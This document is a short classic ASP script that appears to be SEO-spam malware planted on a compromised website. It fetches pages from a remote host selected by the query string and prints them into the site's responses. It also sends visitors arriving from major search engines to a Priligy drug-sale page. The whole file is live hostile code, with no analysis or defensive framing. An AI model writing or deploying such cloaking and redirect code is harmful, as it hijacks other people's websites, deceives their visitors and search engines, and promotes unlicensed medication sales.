<% on error resume next Server.ScriptTimeOut = 300 Function getHTTPPage(URL) Set HTTPReq=Server.createobject("Msxml2.XMLHTTP") HTTPReq.Open "GET",URL,False HTTPReq.send If HTTPReq.readyState<>4 Then Exit Function getHTTPPage=Bytes2bStr(HTTPReq.responseBody) Set HTTPReq=Nothing End Function Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream=Server.CreateObject("ADODB.Stream") BytesStream.Type=2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "utf-8" BytesStream.Position=2 StringReturn=BytesStream.ReadText BytesStream.close Set BytesStream=Nothing Bytes2bStr=StringReturn End Function houzui=request.ServerVariables("QUERY_STRING") nhouzui=split(houzui,".")(0) & ".txt" nmulu=split(split(houzui,".")(0),"_")(0) nhz=split(split(houzui,".")(0),"_")(1) & ".txt" if houzui="" then nhtml=getHTTPPage("https://priligyjapan.bjp.tw/eryaoto.com.tr/list.txt") newhtml=split(nhtml,"||")(0) htmls =getHTTPPage(newhtml) response.write htmls else htmls = getHTTPPage("https://priligyjapan.bjp.tw/eryaoto.com.tr/"&nmulu&"/"&nhz) response.write htmls end if function fromse() dim urlrefer,i,searray urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER")) if urlrefer="" then fromse= false searray=array("google","yahoo","bing","msn","baidu") for i=0 to ubound(searray) if (instr(urlrefer,searray(i))>0) then fromse=true next end function if (fromse()) then response.redirect("https://www.stozher.com/id/Priligy10.html") end if %>